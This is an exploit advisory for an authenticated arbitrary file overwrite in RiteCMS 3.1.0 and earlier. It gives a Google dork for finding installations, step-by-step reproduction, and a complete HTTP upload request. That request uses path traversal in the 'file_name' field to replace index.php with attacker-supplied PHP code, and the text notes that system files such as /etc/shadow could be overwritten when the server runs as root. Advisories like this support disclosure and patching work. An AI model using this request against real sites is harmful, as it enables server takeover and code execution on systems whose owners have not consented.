RiteCMS 3.1.0 Arbitrary File Overwrite

2022.01.05
Credit: faisalfs10x
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: RiteCMS 3.1.0 - Arbitrary File Overwrite (Authenticated) # Date: 25/07/2021 # Exploit Author: faisalfs10x (https://github.com/faisalfs10x) # Vendor Homepage: https://ritecms.com/ # Software Link: https://github.com/handylulu/RiteCMS/releases/download/V3.1.0/ritecms.v3.1.0.zip # Version: <= 3.1.0 # Google Dork: intext:"Powered by RiteCMS" # Tested on: Windows 10, Ubuntu 18, XAMPP # Reference: https://gist.github.com/faisalfs10x/4a3b76f666ff4c0443e104c3baefb91b ################ # Description # ################ # RiteCMS version 3.1.0 and below suffers from an arbitrary file overwrite vulnerability in Admin Panel. Exploiting the vulnerability allows an authenticated attacker to overwrite any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to write). Furthermore, an attacker might leverage the capability of arbitrary file overwrite to modify existing file such as /etc/passwd or /etc/shadow if the current PHP process user is run as root. ############################################################ # PoC to overwrite existing index.php to display phpinfo() # ############################################################ Steps to Reproduce: 1. Login as admin 2. Go to File Manager 3. Then, click Upload file > Browse.. 4. Upload any file and click checkbox name "overwrite file with same name" 4. Intercept the request and replace current file name to any files path on the server via parameter "file_name". PoC: param file_name - to overwrite index.php to display phpinfo, so the payload will be "../index.php" param filename - with the content of "<?php phpinfo(); ?>" Request: ======== POST /ritecmsv3.1.0/admin.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------351719865731412638493510448298 Content-Length: 1840 Origin: http://localhost DNT: 1 Connection: close Referer: http://192.168.8.143/ritecmsv3.1.0/admin.php?mode=filemanager&action=upload&directory=media Cookie: PHPSESSID=nuevl0lgkrc3dv44g3vgkoqqre Upgrade-Insecure-Requests: 1 Sec-GPC: 1 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="mode" filemanager -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="file"; filename="anyfile.txt" Content-Type: application/octet-stream content of the file to overwrite here -- this is example to overwrite index.php to display phpinfo -- <?php phpinfo(); ?> -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="directory" media -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="file_name" ../index.php -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="overwrite_file" true -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="upload_mode" 1 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="resize_xy" x -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="resize" 640 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="compression" 80 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="thumbnail_resize_xy" x -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="thumbnail_resize" 150 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="thumbnail_compression" 70 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="upload_file_submit" OK - Upload file -----------------------------351719865731412638493510448298--


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